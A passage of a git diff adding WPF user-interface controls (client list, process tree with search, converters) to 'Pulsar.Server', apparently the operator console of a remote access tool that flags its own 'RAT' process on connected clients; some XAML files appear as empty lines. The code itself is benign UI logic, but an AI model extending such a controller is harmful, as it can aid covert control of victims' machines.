{ + if (_filter == null) + { + e.Accepted = true; + return; + } + + e.Accepted = _filter(e.Item); + } + + private void OnToggleFavorite(ClientListEntry? entry) + { + if (entry == null) + { + return; + } + + System.Diagnostics.Debug.WriteLine($"[ClientsListView] Toggling favorite for {entry.Nickname} ({entry.Client?.Value?.UserAtPc ?? "unknown"})"); + System.Diagnostics.Debug.WriteLine($"[ClientsListView] Before toggle: IsFavorite={entry.IsFavorite}"); + + RefreshSort(); + FavoriteToggled?.Invoke(this, entry); + + System.Diagnostics.Debug.WriteLine($"[ClientsListView] After toggle: IsFavorite={entry.IsFavorite}"); + } + + private void ClientsGrid_OnSelectionChanged(object sender, SelectionChangedEventArgs e) + { + if (_suppressSelectionNotifications) + { + return; + } + + var selection = SelectedEntries; + SelectionChanged?.Invoke(this, selection); + } + + private void ClientsGrid_OnMouseDoubleClick(object sender, MouseButtonEventArgs e) + { + if (ClientsGrid.SelectedItem is ClientListEntry entry) + { + ItemDoubleClicked?.Invoke(this, entry); + } + } + + private void ClientsGrid_OnPreviewMouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + if (e.OriginalSource is not DependencyObject source) + { + return; + } + + if (FindVisualParent(source) != null || FindVisualParent(source) != null) + { + return; + } + + if (FindVisualParent(source) != null) + { + return; + } + + _dragStartPoint = e.GetPosition(ClientsGrid); + ClientsGrid.Focus(); + + if (Keyboard.Modifiers != ModifierKeys.None) + { + return; + } + + var row = FindVisualParent(source); + _dragAnchorEntry = row?.Item as ClientListEntry; + + BeginDragSelection(); + + if (_dragAnchorEntry != null) + { + SelectEntries(new[] { _dragAnchorEntry }); + } + else + { + ClearSelectionInternal(false); + } + + e.Handled = true; + } + + private void ClientsGrid_OnPreviewMouseMove(object sender, MouseEventArgs e) + { + if (!_isDragSelecting || e.LeftButton != MouseButtonState.Pressed || Keyboard.Modifiers != ModifierKeys.None) + { + return; + } + + var point = e.GetPosition(ClientsGrid); + UpdateDragSelection(point); + e.Handled = true; + } + + private void ClientsGrid_OnPreviewMouseLeftButtonUp(object sender, MouseButtonEventArgs e) + { + if (_isDragSelecting) + { + EndDragSelection(); + e.Handled = true; + } + } + + private void ClientsGrid_OnMouseLeave(object sender, MouseEventArgs e) + { + if (e.LeftButton != MouseButtonState.Pressed) + { + EndDragSelection(); + } + } + + private void DataGridRow_OnPreviewMouseRightButtonDown(object sender, MouseButtonEventArgs e) + { + if (sender is DataGridRow row) + { + if (!ClientsGrid.SelectedItems.Contains(row.Item)) + { + ClientsGrid.SelectedItem = row.Item; + } + + ClientsGrid.Focus(); + } + } + + private static SolidColorBrush CreateBrush(string hex) + { + var color = (Color)ColorConverter.ConvertFromString(hex)!; + var brush = new SolidColorBrush(color); + brush.Freeze(); + return brush; + } + + public void ClearSelection() + { + ClearSelectionInternal(true); + } + + private void EndDragSelection() + { + _isDragSelecting = false; + _dragAnchorEntry = null; + + if (ClientsGrid.IsMouseCaptured) + { + ClientsGrid.ReleaseMouseCapture(); + } + + if (_selectionAdorner != null) + { + var layer = AdornerLayer.GetAdornerLayer(ClientsGrid); + layer?.Remove(_selectionAdorner); + _selectionAdorner = null; + } + } + + private DataGridRow? GetRowFromPoint(Point point) + { + var element = ClientsGrid.InputHitTest(point) as DependencyObject; + return FindVisualParent(element); + } + + private static T? FindVisualParent(DependencyObject? current) where T : DependencyObject + { + while (current != null) + { + if (current is T target) + { + return target; + } + + current = VisualTreeHelper.GetParent(current); + } + + return null; + } + + private void BeginDragSelection() + { + _isDragSelecting = true; + ClientsGrid.Focus(); + ClientsGrid.CaptureMouse(); + + var layer = AdornerLayer.GetAdornerLayer(ClientsGrid); + if (layer != null) + { + _selectionAdorner = new SelectionAdorner(ClientsGrid, _dragStartPoint); + layer.Add(_selectionAdorner); + } + } + + private void UpdateDragSelection(Point currentPoint) + { + _selectionAdorner?.Update(currentPoint); + + var rect = new Rect(_dragStartPoint, currentPoint); + var selected = new List(); + + if (_dragAnchorEntry != null) + { + selected.Add(_dragAnchorEntry); + } + + var itemCount = ClientsGrid.Items.Count; + for (var i = 0; i < itemCount; i++) + { + if (ClientsGrid.Items[i] is not ClientListEntry entry) + { + continue; + } + + if (ReferenceEquals(entry, _dragAnchorEntry)) + { + continue; + } + + if (ClientsGrid.ItemContainerGenerator.ContainerFromIndex(i) is not DataGridRow row) + { + continue; + } + + var bounds = VisualTreeHelper.GetDescendantBounds(row); + var topLeft = row.TransformToAncestor(ClientsGrid).Transform(new Point(bounds.X, bounds.Y)); + var rowRect = new Rect(topLeft, bounds.Size); + + if (rowRect.IntersectsWith(rect)) + { + selected.Add(entry); + } + } + + SelectEntries(selected); + } + + private void SelectEntries(IReadOnlyList entries) + { + _suppressSelectionNotifications = true; + try + { + ClientsGrid.SelectedItems.Clear(); + foreach (var entry in entries) + { + ClientsGrid.SelectedItems.Add(entry); + } + } + finally + { + _suppressSelectionNotifications = false; + } + + SelectionChanged?.Invoke(this, entries); + } + + private void ClearSelectionInternal(bool raiseEvent) + { + if (ClientsGrid.SelectedItems.Count == 0) + { + if (raiseEvent) + { + SelectionChanged?.Invoke(this, Array.Empty()); + } + return; + } + + _suppressSelectionNotifications = true; + try + { + ClientsGrid.SelectedItems.Clear(); + } + finally + { + _suppressSelectionNotifications = false; + } + + if (raiseEvent) + { + SelectionChanged?.Invoke(this, Array.Empty()); + } + } + + private sealed class SelectionAdorner : Adorner + { + private static readonly Brush FillBrush; + private static readonly Pen BorderPen; + + private Point _start; + private Point _end; + + static SelectionAdorner() + { + FillBrush = new SolidColorBrush(Color.FromArgb(40, 51, 153, 255)); + FillBrush.Freeze(); + BorderPen = new Pen(new SolidColorBrush(Color.FromArgb(200, 51, 153, 255)), 1) + { + DashStyle = DashStyles.Dash + }; + BorderPen.Brush.Freeze(); + BorderPen.Freeze(); + } + + public SelectionAdorner(UIElement adornedElement, Point start) + : base(adornedElement) + { + IsHitTestVisible = false; + _start = start; + _end = start; + } + + public void Update(Point current) + { + _end = current; + InvalidateVisual(); + } + + protected override void OnRender(DrawingContext drawingContext) + { + var rect = new Rect(_start, _end); + drawingContext.DrawRectangle(FillBrush, BorderPen, rect); + } + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs b/Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs new file mode 100644 index 0000000..8a5f0c7 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs @@ -0,0 +1,23 @@ +using System; +using System.Globalization; +using System.Windows.Data; +using System.Windows.Media; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + internal sealed class FavoriteToBrushConverter : IValueConverter + { + public object Convert(object? value, Type targetType, object? parameter, CultureInfo culture) + { + bool isFavorite = value is bool flag && flag; + return isFavorite ? Brushes.Gold : Brushes.Gray; + } + + public object ConvertBack(object? value, Type targetType, object? parameter, CultureInfo culture) + { + throw new NotSupportedException(); + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/HeatMapView.xaml b/Pulsar.Server/Controls/Wpf/HeatMapView.xaml new file mode 100644 index 0000000..a9c9666 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/HeatMapView.xaml @@ -0,0 +1,268 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs b/Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs new file mode 100644 index 0000000..7def026 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs @@ -0,0 +1,484 @@ +using Pulsar.Common.Models; +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Input; +using System.Windows.Media; + +namespace Pulsar.Server.Controls.Wpf +{ + public partial class ProcessTreeView : UserControl + { + private readonly ProcessTreeViewModel _viewModel = new ProcessTreeViewModel(); + private ScrollViewer _scrollViewer; + + public ProcessTreeView() + { + InitializeComponent(); + DataContext = _viewModel; + Loaded += OnLoaded; + } + + public event EventHandler SortRequested; + public event EventHandler SelectedProcessChanged; + + public Process SelectedProcess => (Tree.SelectedItem as ProcessTreeNode)?.Model; + + public IReadOnlyList SelectedProcesses + { + get + { + var selected = SelectedProcess; + return selected != null ? new[] { selected } : Array.Empty(); + } + } + // make sure these fields exist in the class + private List _allNodes = new List(); + private int _searchIndex = -1; + + // public so the form can call it (or you can call it from FindNext) + public void FlattenNodes() + { + _allNodes.Clear(); + + void Add(ProcessTreeNode node) + { + _allNodes.Add(node); + foreach (var child in node.Children) + Add(child); + } + + foreach (var root in _viewModel.RootNodes) + Add(root); + } + private HashSet _expandedNodeIds = new(); + + public void SaveExpandedNodes() + { + _expandedNodeIds.Clear(); + foreach (var node in FlattenAllNodes()) + if (node.IsExpanded) + _expandedNodeIds.Add(node.Model.Id); + } + + private IEnumerable FlattenAllNodes() + { + var list = new List(); + void Add(ProcessTreeNode n) + { + list.Add(n); + foreach (var c in n.Children) Add(c); + } + foreach (var root in _viewModel.RootNodes) + Add(root); + return list; + } + + // Call this to find the next match for the given query. + // Query supports multiple words; all words must be matched (AND) across any of the fields. + public void FindNext(string query) + { + if (string.IsNullOrWhiteSpace(query)) return; + + // ensure list is fresh + FlattenNodes(); + if (_allNodes.Count == 0) return; + + var keywords = query.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries) + .Select(k => k.Trim()) + .Where(k => k.Length > 0) + .ToArray(); + if (keywords.Length == 0) return; + + // start searching from next index + _searchIndex = (_searchIndex + 1) % _allNodes.Count; + + for (int i = 0; i < _allNodes.Count; i++) + { + int idx = (_searchIndex + i) % _allNodes.Count; + var node = _allNodes[idx]; + + bool matchesAll = keywords.All(k => + (!string.IsNullOrEmpty(node.Name) && node.Name.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + (!string.IsNullOrEmpty(node.WindowTitle) && node.WindowTitle.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + node.Model.Id.ToString().IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0 + ); + + if (matchesAll) + { + // deselect previous selection(s) + foreach (var n in _allNodes) n.IsSelected = false; + + // select and expand this node + node.IsSelected = true; + node.IsExpanded = true; + + // expand ancestors so the node is visible + ExpandAncestorsForNode(node); + + // scroll into view if possible + var tvi = GetTreeViewItem(node); + tvi?.BringIntoView(); + + _searchIndex = idx; + break; + } + } + } + + // very small helper: expand ancestors by walking from root β€” simple and non-invasive + private void ExpandAncestorsForNode(ProcessTreeNode target) + { + // walk all root branches and expand while searching for the target; when found, keep ancestors expanded + bool TryExpandPath(ProcessTreeNode node) + { + if (node == target) return true; + + foreach (var child in node.Children) + { + if (TryExpandPath(child)) + { + node.IsExpanded = true; // keep ancestor expanded + return true; + } + } + return false; + } + + foreach (var root in _viewModel.RootNodes) + { + if (TryExpandPath(root)) break; + } + } + + + // Highlight processes by keyword(s) in Name, WindowTitle, or PID + public void FindProcesses(string query) + { + if (string.IsNullOrWhiteSpace(query)) return; + var keywords = query.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); + + void Highlight(ProcessTreeNode node) + { + node.IsSelected = keywords.All(k => + (!string.IsNullOrEmpty(node.Name) && node.Name.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + (!string.IsNullOrEmpty(node.WindowTitle) && node.WindowTitle.IndexOf(k, StringComparison.OrdinalIgnoreCase) >= 0) || + node.Model.Id.ToString().Contains(k) + ); + + foreach (var child in node.Children) + Highlight(child); + } + + foreach (var root in _viewModel.RootNodes) + Highlight(root); + } + + // Clear all highlights / selections + public void ClearSearch() + { + void Clear(ProcessTreeNode node) + { + node.IsSelected = false; + foreach (var child in node.Children) + Clear(child); + } + + foreach (var root in _viewModel.RootNodes) + Clear(root); + } + + private void RestoreExpandedNodes() + { + foreach (var node in FlattenAllNodes()) + node.IsExpanded = _expandedNodeIds.Contains(node.Model.Id); + } + + public void UpdateProcesses(IEnumerable processes, ProcessTreeSortColumn sortColumn, bool ascending, int? ratPid) + { + // Save current selections and expanded state + var selectedIds = SelectedProcesses.Select(p => p.Id).ToArray(); + SaveExpandedNodes(); + + _viewModel.Apply(processes, sortColumn, ascending, ratPid); + // Remove ExpandAll(), we want to restore only previous expansions + RestoreExpandedNodes(); + + // Restore selection + SelectProcessesById(selectedIds); + } + + + + public void ExpandRoots() + { + foreach (var node in _viewModel.RootNodes) + node.IsExpanded = true; + } + + private void OnLoaded(object sender, RoutedEventArgs e) + { + if (_scrollViewer == null) + _scrollViewer = FindDescendant(Tree); + } + + private void OnTreeSelected(object sender, RoutedPropertyChangedEventArgs e) + { + SelectedProcessChanged?.Invoke(this, EventArgs.Empty); + } + + private void OnNameHeaderClick(object sender, MouseButtonEventArgs e) => SortRequested?.Invoke(this, new SortRequestedEventArgs(ProcessTreeSortColumn.Name)); + private void OnPidHeaderClick(object sender, MouseButtonEventArgs e) => SortRequested?.Invoke(this, new SortRequestedEventArgs(ProcessTreeSortColumn.Pid)); + private void OnTitleHeaderClick(object sender, MouseButtonEventArgs e) => SortRequested?.Invoke(this, new SortRequestedEventArgs(ProcessTreeSortColumn.WindowTitle)); + + private void OnTreePreviewRightMouse(object sender, MouseButtonEventArgs e) + { + if (FindAncestor((DependencyObject)e.OriginalSource) is TreeViewItem tvi) + { + tvi.IsSelected = true; + tvi.Focus(); + } + } + public void SelectProcessesById(int[] ids) + { + if (ids == null || ids.Length == 0) return; + + void RestoreSelection(ProcessTreeNode node) + { + node.IsSelected = ids.Contains(node.Model.Id); + foreach (var child in node.Children) + RestoreSelection(child); + } + + foreach (var root in _viewModel.RootNodes) + RestoreSelection(root); + } + + + // Recursively get TreeViewItem for a node + private TreeViewItem GetTreeViewItem(object item) + { + return Tree.ItemContainerGenerator.ContainerFromItem(item) as TreeViewItem + ?? FindContainerInChildren(Tree.ItemContainerGenerator, item); + } + + private TreeViewItem FindContainerInChildren(ItemContainerGenerator parentGenerator, object item) + { + foreach (var child in parentGenerator.Items) + { + var tvi = parentGenerator.ContainerFromItem(child) as TreeViewItem; + if (tvi != null) + { + var childTvi = tvi.ItemContainerGenerator.ContainerFromItem(item) as TreeViewItem; + if (childTvi != null) return childTvi; + + var recursive = FindContainerInChildren(tvi.ItemContainerGenerator, item); + if (recursive != null) return recursive; + } + } + return null; + } + + private void OnTreePreviewMouseWheel(object sender, MouseWheelEventArgs e) + { + if (_scrollViewer == null) + _scrollViewer = FindDescendant(Tree); + + if (_scrollViewer != null && e.Delta != 0) + { + var offset = _scrollViewer.VerticalOffset - e.Delta / 3.0; + _scrollViewer.ScrollToVerticalOffset(Math.Max(0, offset)); + e.Handled = true; + } + } + + private static T FindAncestor(DependencyObject current) where T : DependencyObject + { + while (current != null) + { + if (current is T match) return match; + current = VisualTreeHelper.GetParent(current); + } + return null; + } + + private static T FindDescendant(DependencyObject parent) where T : DependencyObject + { + if (parent == null) return null; + + for (int i = 0, count = VisualTreeHelper.GetChildrenCount(parent); i < count; i++) + { + var child = VisualTreeHelper.GetChild(parent, i); + if (child is T match) return match; + + var descendant = FindDescendant(child); + if (descendant != null) return descendant; + } + + return null; + } + } + + public enum ProcessTreeSortColumn + { + Name = 0, + Pid = 1, + WindowTitle = 2 + } + + public sealed class SortRequestedEventArgs : EventArgs + { + public SortRequestedEventArgs(ProcessTreeSortColumn column) => Column = column; + public ProcessTreeSortColumn Column { get; } + } + + internal sealed class ProcessTreeViewModel : INotifyPropertyChanged + { + public ObservableCollection RootNodes { get; } = new ObservableCollection(); + private ProcessTreeSortColumn _sortColumn = ProcessTreeSortColumn.Name; + private bool _sortAscending = true; + + public string HeaderGlyphName => BuildGlyph(ProcessTreeSortColumn.Name); + public string HeaderGlyphPid => BuildGlyph(ProcessTreeSortColumn.Pid); + public string HeaderGlyphTitle => BuildGlyph(ProcessTreeSortColumn.WindowTitle); + + public event PropertyChangedEventHandler PropertyChanged; + + public void Apply(IEnumerable processes, ProcessTreeSortColumn sortColumn, bool ascending, int? ratPid) + { + _sortColumn = sortColumn; + _sortAscending = ascending; + OnPropertyChanged(nameof(HeaderGlyphName)); + OnPropertyChanged(nameof(HeaderGlyphPid)); + OnPropertyChanged(nameof(HeaderGlyphTitle)); + + RootNodes.Clear(); + + var items = processes?.ToArray() ?? Array.Empty(); + if (items.Length == 0) return; + + var processById = items.ToDictionary(p => p.Id, p => p); + var children = new Dictionary>(); + var roots = new List(); + + foreach (var process in items) + { + if (process.ParentId.HasValue && process.ParentId.Value > 0 && process.ParentId.Value != process.Id && processById.ContainsKey(process.ParentId.Value)) + { + if (!children.TryGetValue(process.ParentId.Value, out var list)) + { + list = new List(); + children.Add(process.ParentId.Value, list); + } + list.Add(process); + } + else + { + roots.Add(process); + } + } + + var comparer = new ProcessComparer(sortColumn, ascending); + roots.Sort(comparer); + + var visited = new HashSet(); + + foreach (var root in roots) AddNodeRecursive(root, null); + foreach (var process in items) + if (!visited.Contains(process.Id)) AddNodeRecursive(process, null); + + void AddNodeRecursive(Process process, ProcessTreeNode parent) + { + if (!visited.Add(process.Id)) return; + var node = new ProcessTreeNode(process, ratPid, parent == null); + + if (parent == null) RootNodes.Add(node); + else parent.Children.Add(node); + + if (children.TryGetValue(process.Id, out var childList)) + { + childList.Sort(comparer); + foreach (var child in childList) AddNodeRecursive(child, node); + } + } + } + + public void ExpandAll() + { + foreach (var node in RootNodes) + node.SetExpandedRecursive(true); + } + + private string BuildGlyph(ProcessTreeSortColumn forColumn) => _sortColumn != forColumn ? string.Empty : (_sortAscending ? "β–²" : "β–Ό"); + + private void OnPropertyChanged([CallerMemberName] string propertyName = null) => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); + } + + internal sealed class ProcessTreeNode : INotifyPropertyChanged + { + private bool _isSelected; + public bool IsSelected + { + get => _isSelected; + set { if (_isSelected != value) { _isSelected = value; OnPropertyChanged(); } } + } + public ProcessTreeNode(Process model, int? ratPid, bool expandByDefault) + { + Model = model; + Children = new ObservableCollection(); + _isExpanded = expandByDefault; + IsRatProcess = ratPid.HasValue && model.Id == ratPid.Value; + _foreground = IsRatProcess ? new SolidColorBrush(Color.FromRgb(140, 255, 140)) : (Brush)new SolidColorBrush(Color.FromRgb(230, 230, 230)); + } + + public Process Model { get; } + public ObservableCollection Children { get; } + public bool IsRatProcess { get; } + public string Name => string.IsNullOrWhiteSpace(Model.Name) ? "(unknown)" : Model.Name; + public string PidDisplay => Model.Id.ToString(); + public string WindowTitle => string.IsNullOrWhiteSpace(Model.MainWindowTitle) ? string.Empty : Model.MainWindowTitle; + + private bool _isExpanded; + public bool IsExpanded + { + get => _isExpanded; + set { if (_isExpanded != value) { _isExpanded = value; OnPropertyChanged(); } } + } + + private readonly Brush _foreground; + public Brush Foreground => _foreground; + + public event PropertyChangedEventHandler PropertyChanged; + private void OnPropertyChanged([CallerMemberName] string propertyName = null) => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); + public void SetExpandedRecursive(bool isExpanded) { IsExpanded = isExpanded; foreach (var child in Children) child.SetExpandedRecursive(isExpanded); } + } + + internal sealed class ProcessComparer : IComparer + { + private readonly ProcessTreeSortColumn _column; + private readonly bool _ascending; + + public ProcessComparer(ProcessTreeSortColumn column, bool ascending) { _column = column; _ascending = ascending; } + public int Compare(Process x, Process y) + { + if (ReferenceEquals(x, y)) return 0; + if (x is null) return _ascending ? -1 : 1; + if (y is null) return _ascending ? 1 : -1; + + int result = _column switch + { + ProcessTreeSortColumn.Pid => x.Id.CompareTo(y.Id), + ProcessTreeSortColumn.WindowTitle => string.Compare(x.MainWindowTitle ?? string.Empty, y.MainWindowTitle ?? string.Empty, StringComparison.CurrentCultureIgnoreCase), + _ => string.Compare(x.Name ?? string.Empty, y.Name ?? string.Empty, StringComparison.CurrentCultureIgnoreCase) + }; + + if (result == 0) result = x.Id.CompareTo(y.Id); + return _ascending ? result : -result; + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/RelayCommand.cs b/Pulsar.Server/Controls/Wpf/RelayCommand.cs new file mode 100644 index 0000000..f096795 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/RelayCommand.cs @@ -0,0 +1,36 @@ +using System; +using System.Windows.Input; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + internal sealed class RelayCommand : ICommand + { + private readonly Action _execute; + private readonly Func? _canExecute; + + public RelayCommand(Action execute, Func? canExecute = null) + { + _execute = execute ?? throw new ArgumentNullException(nameof(execute)); + _canExecute = canExecute; + } + + public event EventHandler? CanExecuteChanged; + + public bool CanExecute(object? parameter) + { + return _canExecute?.Invoke((T?)parameter) ?? true; + } + + public void Execute(object? parameter) + { + _execute((T?)parameter); + } + + public void RaiseCanExecuteChanged() + { + CanExecuteChanged?.Invoke(this, EventArgs.Empty); + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/StatsView.xaml b/Pulsar.Server/Controls/Wpf/StatsView.xaml new file mode 100644 index 0000000..36c9541 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/StatsView.xaml @@ -0,0 +1,275 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +